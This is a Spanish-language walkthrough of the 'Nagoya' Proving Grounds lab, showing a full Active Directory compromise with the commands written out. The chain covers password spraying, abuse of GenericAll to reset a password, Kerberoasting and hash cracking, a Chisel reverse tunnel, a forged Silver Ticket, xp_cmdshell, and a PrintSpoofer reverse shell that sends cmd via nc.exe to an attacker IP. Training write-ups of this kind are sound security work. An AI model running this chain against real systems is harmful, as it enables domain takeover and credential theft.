Inicializando interfaz segura...0%
mem: 0x0000pid: 1000
SYSTEM ONLINE

v2.0.4 // SECURE

~ / ops / nagoya.es.md

Nagoya

10 de febrero de 2025 | Proving Grounds | hard
#windows #active-directory #genericall #kerberoasting #silver-ticket #mssql #seimpersonateprivilege #printspoofer

Nagoya Banner

Detalles

  • Sistema Operativo: Windows
  • Dificultad: Hard
  • IP Address: 192.168.235.21
  • Autor: AETH3RON

Resumen

Nagoya es una máquina Windows de Active Directory que requiere una cadena de ataque multi-etapa. El acceso inicial se establece recolectando nombres de empleados del sitio web, generando una lista personalizada de usuarios y realizando un ataque de password spray. El movimiento lateral se logra recuperando credenciales de un archivo oculto en un share SMB y aprovechando permisos de Active Directory (GenericAll) para resetear la contraseña de un usuario objetivo. La escalada a Administrador se logra mediante Kerberoasting de una cuenta de servicio, falsificando un Silver Ticket para acceder a una instancia local de MSSQL y abusando de SeImpersonatePrivilege con PrintSpoofer.

Enumeración

Nmap

Comenzamos realizando un escaneo básico para identificar los puertos abiertos.

nmap -Pn -sS -sV -p- 192.168.235.21 -oN nmap-basic

Escaneo nmap básico SYN mostrando los puertos abiertos en Nagoya

Realizamos un escaneo más completo sobre los puertos descubiertos para enumerar los servicios.

nmap -Pn -sC -sV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985 192.168.235.21 -oN nmap-common

Escaneo nmap dirigido confirmando DC Windows con servidor web en el puerto 80

Enumeración Web

Iniciamos un ataque de fuerza bruta de directorios para descubrir rutas ocultas en el servidor web.

gobuster dir -u http://192.168.235.21/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

Gobuster descubriendo directorios en el servidor web incluyendo la sección /team

El escaneo revela varios directorios interesantes. Navegando al sitio web, descubrimos una sección “Equipo” que lista los nombres de los empleados de la empresa.

Página principal del sitio web de la empresa mostrando la sección de Equipo con nombres de empleados

Esta lista proporciona un vector potencial para la enumeración de usuarios.

Sección del equipo listando los nombres de empleados recolectados para la generación de usuarios

Copiamos los nombres en un archivo y usamos username-anarchy para generar una lista de formatos de nombre de usuario potenciales.

./username-anarchy --input-file names.txt > usernames.txt

username-anarchy generando formatos de nombre de usuario potenciales desde la lista de empleados

Con el diccionario generado, validamos los nombres de usuario contra el Controlador de Dominio usando kerbrute.

./kerbrute userenum -d nagoya-industries.com --dc 192.168.235.21 usernames.txt

Kerbrute validando los usuarios generados contra el dominio nagoya-industries.com

Tras filtrar por usuarios válidos, intentamos varios ataques (como AS-REP Roasting) sin éxito. Nos fijamos en el año del copyright en el pie del sitio web, lo que sugiere un patrón de contraseña potencial.

Detalle del año del copyright en el pie del sitio web sugiriendo un patrón de contraseña estacional (Summer2023)

Dado que los usuarios podrían usar combinaciones “EstaciónAño” (una política de contraseñas débil común), creamos una lista de contraseñas personalizada. Luego usamos NetExec para realizar un ataque de password spray contra el servicio SMB.

nxc smb 192.168.235.21 -u valid_usernames.txt -p passwords.txt

Password spray NetExec SMB revelando credenciales fiona.clark:Summer2023

El ataque tuvo éxito, revelando credenciales válidas para el usuario fiona.clark: Summer2023.

SMB

Con credenciales válidas, enumeramos los shares SMB accesibles al usuario usando el módulo spider_plus.

nxc smb 192.168.235.21 -u fiona.clark -p Summer2023 -M spider_plus

NetExec spider_plus explorando shares SMB como fiona.clark e identificando un archivo temporal

Identificamos un archivo temporal interesante. Tras descargarlo, analizamos su contenido usando strings con el indicador de codificación en little-endian de 16 bits (-e l) para revelar texto oculto.

strings -e l temp_file

Salida de strings -e l revelando las credenciales de svc_helpdesk del archivo temporal descargado

El análisis expone credenciales para la cuenta svc_helpdesk: U299iYRmikYTHDbPbxPoYYfa2j4x4cdg.

Acceso Inicial

Con las credenciales de la cuenta de servicio, utilizamos BloodHound para mapear el entorno de Active Directory e identificar rutas de ataque.

bloodhound-python -u svc_helpdesk -p U299iYRmikYTHDbPbxPoYYfa2j4x4cdg -ns 192.168.235.21 -d nagoya-industries.com -c All --zip

bloodhound-python recolectando todos los datos del dominio usando credenciales de svc_helpdesk

Al analizar los datos, observamos que svc_helpdesk es miembro del grupo Helpdesk. Este grupo posee privilegios GenericAll sobre varios usuarios, incluido Christopher.Lewis.

BloodHound mostrando que el grupo Helpdesk de svc_helpdesk tiene GenericAll sobre Christopher.Lewis

Aprovechando este permiso, abusamos del privilegio GenericAll para resetear la contraseña de Christopher.Lewis de forma remota.

net rpc password "christopher.lewis" 'P4ssw0rd123!' -U "nagoya-industries.com"/"svc_helpdesk"%"U299iYRmikYTHDbPbxPoYYfa2j4x4cdg" -S "192.168.235.21"

Comando net rpc password reseteando forzosamente la contraseña de Christopher.Lewis via GenericAll

Establecemos una sesión de shell como Christopher.Lewis usando evil-winrm.

evil-winrm -i 192.168.235.21 -u Christopher.Lewis -p 'P4ssw0rd123!'

Shell Evil-WinRM establecida como Christopher.Lewis tras el reseteo de contraseña

Escalada de Privilegios

Un análisis adicional en BloodHound reveló que svc_mssql y svc_helpdesk son vulnerables a Kerberoasting.

BloodHound mostrando que svc_mssql y svc_helpdesk son cuentas de servicio Kerberoasteables

Solicitamos el ticket del Service Principal Name (SPN) para la cuenta objetivo usando Impacket.

impacket-GetUserSPNs nagoya-industries.com/svc_helpdesk:'U299iYRmikYTHDbPbxPoYYfa2j4x4cdg' -request -dc-ip 192.168.235.21 -outputfile kerberoast.hashes

Impacket GetUserSPNs solicitando el hash TGS de svc_mssql para cracking offline

Crackeamos el hash usando Hashcat, revelando la contraseña Service1.

hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt

Hashcat crackeando el hash TGS de svc_mssql revelando la contraseña 'Service1'

Como el servicio MSSQL no estaba expuesto externamente, dedujimos que escuchaba en localhost. Establecimos un túnel inverso usando Chisel para acceder al servicio interno.

Primero, iniciamos el servidor Chisel en nuestra máquina atacante:

./chisel server -p 8000 --reverse

Servidor Chisel iniciado en la máquina atacante en el puerto 8000 para el túnel inverso

Luego, subimos el cliente a la máquina víctima y nos conectamos:

.\chisel.exe client 192.168.45.212:8000 R:socks

Cliente Chisel ejecutándose en la máquina víctima conectando de vuelta para establecer el túnel SOCKS

Para autenticarnos en MSSQL con privilegios administrativos, falsificamos un Silver Ticket. Necesitamos el hash NTLM de la cuenta svc_mssql (derivado de la contraseña crackeada), el Domain SID y el SPN objetivo.

Usando impacket-ticketer, generamos el ticket:

impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid "S-1-5-21-1969309164-1513403977-1686805993" -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com Administrator

impacket-ticketer falsificando un Silver Ticket para el SPN de svc_mssql impersonando al Administrador

Exportamos la caché de credenciales:

export KRB5CCNAME=$PWD/Administrator.ccache

KRB5CCNAME exportado para apuntar al archivo de ticket Administrator.ccache falsificado

Usando proxychains (configurado para el túnel Chisel en el puerto 1080), nos autenticamos en la instancia MSSQL usando el ticket falsificado.

proxychains -q impacket-mssqlclient -k nagoya.nagoya-industries.com

Proxychains + impacket-mssqlclient conectándose al MSSQL interno vía túnel Chisel con el ticket falsificado

Dentro de la shell SQL, habilitamos xp_cmdshell para ejecutar comandos del sistema.

enable_xp_cmdshell
xp_cmdshell whoami

xp_cmdshell habilitado y comando whoami confirmando RCE como svc_mssql en MSSQL

Generamos un payload de reverse shell PowerShell y lo ejecutamos a través de la base de datos.

Payload de reverse shell PowerShell ejecutado vía xp_cmdshell en MSSQL

Capturamos la conexión en nuestro listener. Al comprobar los privilegios, identificamos que el usuario posee SeImpersonatePrivilege.

whoami /priv mostrando SeImpersonatePrivilege habilitado para la cuenta svc_mssql

Listener Netcat capturando la shell como cuenta de servicio mssql con SeImpersonatePrivilege

Transferimos PrintSpoofer.exe y nc.exe al objetivo. Luego ejecutamos PrintSpoofer para abusar del privilegio y obtener una shell SYSTEM.

PrintSpoofer.exe -c "c:\Temp\nc.exe 192.168.45.212 4433 -e cmd"

PrintSpoofer.exe abusando de SeImpersonatePrivilege para obtener una reverse shell SYSTEM vía nc.exe

El exploit tuvo éxito, concediéndonos una reverse shell como Administrador.

Impacto de Negocio

En un entorno empresarial real, esta cadena de ataque demuestra cómo una única política de contraseñas débil puede escalar hasta el compromiso total del dominio. La combinación de password spraying, abuso de ACL GenericAll y falsificación de Silver Ticket permitiría a un atacante moverse lateralmente por todo el bosque de Active Directory sin ser detectado. Para organizaciones que dependen de MSSQL para aplicaciones críticas de negocio, la capacidad de ejecutar comandos vía xp_cmdshell representa una amenaza directa a la integridad de los datos y al cumplimiento normativo. El abuso final de SeImpersonatePrivilege subraya cómo una única cuenta de servicio mal configurada puede socavar toda la postura de seguridad del dominio.

Referencias